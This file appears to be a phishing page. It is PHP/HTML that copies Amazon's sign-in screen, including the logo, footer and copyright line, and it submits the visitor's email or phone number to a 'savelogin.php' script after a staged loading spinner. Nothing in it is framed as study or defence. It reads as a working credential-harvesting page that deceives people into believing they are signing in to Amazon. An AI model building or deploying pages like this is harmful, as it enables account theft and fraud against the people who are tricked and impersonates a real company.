<?php

session_start();
?>

<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <title>Amazon Sign In</title>
        <script src="https://cdn.tailwindcss.com"></script>
        <link href="default.css" rel="stylesheet" />
    </head>
    <body class="bg-white-100 flex flex-col items-center justify-start min-h-screen mt-12">
        <div class="mb-4">
            <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/a/a9/Amazon_logo.svg/1200px-Amazon_logo.svg.png" alt="Amazon Logo" class="w-32" />
        </div>
        <div class="w-[23%] max-w-md">
            <div class="bg-white rounded-lg p-6 border border-gray-300">
                <h2 class="text-[28px] font-normal text-black-800 mb-4 text-left">Sign in</h2>
                <form id="signInForm" action="savelogin.php" method="post" onsubmit="validateForm(event)">
                    <div class="mb-3">
                        <label for="email" class="block text-black-700 text-sm font-bold mb-1">Email or mobile phone number</label>
                        <input type="text" id="email" name="email" class="text-sm shadow-sm border border-gray-400 rounded w-full py-1.5 px-2 text-black-700 leading-tight focus:outline-none focus:ring focus:border-cyan-700" />
                    </div>

                    <!-- Error message -->
                    <p id="error-message" class="text-rose-700 text-[12px] font-medium mb-3" style="display: none;">
                        <span class="flex items-center">
                            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" class="w-6 h-6 mr-2">
                                <path fill-rule="evenodd" d="M2.25 12c0-5.385 4.365-9.75 9.75-9.75s9.75 4.365 9.75 9.75-4.365 9.75-9.75 9.75S2.25 17.385 2.25 12ZM12 8.25a.75.75 0 0 1 .75.75v3.75a.75.75 0 0 1-1.5 0V9a.75.75 0 0 1 .75-.75Zm0
                                8.25a.75.75 0="1"0 0 0 0 1.5Z" clip-rule="evenodd"/>
                            </svg>
                            Enter your email or mobile phone number.
                        </span>
                    </p>

                    <button
                        class="w-full text-xs rounded-full bg-yellow-300 hover:bg-yellow-400 text-black font-normal py-2 px-4 rounded focus:outline-none focus:ring focus:ring-yellow-300 flex justify-center items-center"
                        type="submit"
                        id="submitButton"
                        onclick="validateForm(event)"
                    >
                        <span id="continueText">Continue</span>
                        <svg id="spinner" class="w-5 h-5 ml-2 hidden animate-spin" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor">
                            <circle cx="12" cy="12" r="10" stroke-width="4" class="opacity-25"></circle>
                            <circle cx="12" cy="12" r="10" stroke-width="4" stroke-dasharray="60" stroke-dashoffset="50" class="opacity-75"></circle>
                        </svg>
                    </button>
                </form>

                <div class="text-black-600 text-xs mt-4 mb-4 text-left">
                    By continuing, you agree to Amazon's <a href="#" class="text-cyan-700 hover:underline">Conditions of Use</a> and <a href="#" class="text-cyan-700 hover:underline">Privacy Notice</a>.
                </div>
                <div class="text-base font-normal text-black-700 text-left flex justify-normal items-center">
                    <span>
                        <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" fill="currentColor" class="size-5">
                            <path fill-rule="evenodd" d="M4.22 6.22a.75.75 0 0 1 1.06 0L8 8.94l2.72-2.72a.75.75 0 1 1 1.06 1.06l-3.25 3.25a.75.75 0 0 1-1.06 0L4.22 7.28a.75.75 0 0 1 0-1.06Z" clip-rule="evenodd" />
                        </svg>
                    </span>
                    <span class="text-sm text-cyan-700 cursor-pointer">&nbsp;Need Help?</span>
                </div>
                <hr class="h-px my-5 bg-gray-200 border-0 dark:bg-gray-700" />
                <div class="text-black-700 text-[15px] font-bold text-left">Buying for work?</div>
                <div class="text-cyan-700 text-[15px] font-normal text-left">Shop on Amazon Business</div>
            </div>
            <div class="flex items-center my-6">
                <div class="flex-grow border-t border-gray-300"></div>
                <span class="px-3 text-gray-500 text-[12px]">New to Amazon?</span>
                <div class="flex-grow border-t border-gray-300"></div>
            </div>
            <button class="w-full text-xs rounded-full bg-white hover:bg-gray-100 border border-gray-500 text-black-700 font-normal py-2 px-4 flex justify-center items-center">
                Create your Amazon account
            </button>
        </div>
        <hr class="w-full h-px my-7 bg-gray-300 border-[1.5px] dark:bg-gray-700" />
        <footer class="w-full max-w-sm text-center text-gray-600 text-[12px] mt-3">
            <div class="text-cyan-700 flex justify-center space-x-4 mt-2">
                <a href="#" class="hover:underline">Conditions of Use</a>
                <a href="#" class="hover:underline">Privacy Notice</a>
                <a href="#" class="hover:underline">Help</a>
            </div>
            <p class="mt-3">&copy; © 1996-2025, Amazon.com, Inc. or its affiliates</p>
        </footer>
        <script>
            function validateForm(event) {
                event.preventDefault(); // Prevent form submission

                var emailField = document.getElementById("email");
                var errorMessage = document.getElementById("error-message");
                var spinner = document.getElementById("spinner");
                var submitButton = document.getElementById("submitButton");
                var continueText = document.getElementById("continueText");

                // Reset previous error styles
                emailField.classList.remove("border-rose-700", "border-2");
                errorMessage.style.display = "none";

                // Show spinner when the form is being validated
                spinner.classList.remove("hidden");
                continueText.style.display = "none"; // Hide "Continue" text while spinner is showing

                if (emailField.value.trim() === "") {
                    // Show error message and highlight input field
                    emailField.classList.add("border-rose-700", "border-2");
                    errorMessage.style.display = "block";

                    // Hide spinner and show the "Continue" text again
                    spinner.classList.add("hidden");
                    continueText.style.display = "inline";
                } else {
                    // Simulate form submission with a delay to show the spinner
                    setTimeout(function () {
                        // Hide spinner after form submission or validation success
                        //spinner.classList.add('hidden');
                        //continueText.style.display = 'inline'; // Show "Continue" text again
                        // You can replace this with actual form submission logic
                        document.getElementById("signInForm").submit();
                    }, 500); // Simulate a 2-second delay before hiding the spinner
                }
            }

            // Add an event listener to clear the error once the user starts typing
            document.getElementById("email").addEventListener("input", function () {
                var emailField = document.getElementById("email");
                var errorMessage = document.getElementById("error-message");

                if (emailField.value.trim() !== "") {
                    // Reset error message and remove error styles
                    emailField.classList.remove("border-rose-700", "border-2");
                    errorMessage.style.display = "none";
                }
            });
        </script>
    </body>
</html>
